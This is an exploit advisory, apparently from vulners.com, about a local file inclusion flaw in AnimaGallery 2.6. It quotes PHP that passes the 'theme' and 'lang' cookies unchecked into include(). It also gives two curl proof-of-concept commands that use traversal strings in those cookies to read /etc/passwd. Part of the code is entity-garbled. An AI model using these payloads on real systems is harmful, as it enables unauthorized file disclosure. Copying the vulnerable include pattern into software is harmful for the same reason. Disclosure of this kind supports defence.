AnimaGallery 2.6 (theme and lang cookie parameter) Local File Include Vulnerability

2015-06-0800:00:00

vulners.com

JSON

Exploit Title: AnimaGallery 2.6 (theme and lang cookie parameter) Local File Include Vulnerability

Date: 2015/06/07

Vendor Homepage: http://dg.no.sapo.pt/

Software Link:http://dg.no.sapo.pt/AnimaGallery2.6.zip

Version: 2.6

Tested on: Centos 6.5,php 5.3.2,magic_quotes_gpc=off # Category: webapps

Description

func.php
line 21 - 22:

include('themes/'.$THEME.'/templates.php');
include('languages/'.$LANG.'.php');

$lang and $THEME parameter from import_theme_lang() function.

function import_theme_lang()
{
$THEME = DEFAULT_THEME;
if(isset($_COOKIE['theme']) AND !THEME_LOCKED)
$THEME = $_COOKIE['theme']; <– Not Taint Checking

$LANG = DEFAULT_LANG;
if&#40;isset&#40;$_COOKIE[&#39;lang&#39;]&#41; AND @file_exists&#40;&#39;languages/&#39;.$_COOKIE[&#39;lang&#39;].&#39;.php&#39;&#41; AND !LANG_LOCKED&#41;
	$LANG = $_COOKIE[&#39;lang&#39;];     &lt;--- Not Taint Checking

return&#40;array&#40;$THEME, $LANG&#41;&#41;;

}

Proof of Concept

curl "http://192.168.1.101/AnimaGallery/?load=adminboard&mode=1" --cookie "lang=…/…/…/…/…/…/…/etc/passwd%00"

curl "http://192.168.1.101/AnimaGallery/?load=adminboard&mode=1" --cookie "theme=…/…/…/…/…/…/…/etc/passwd%00"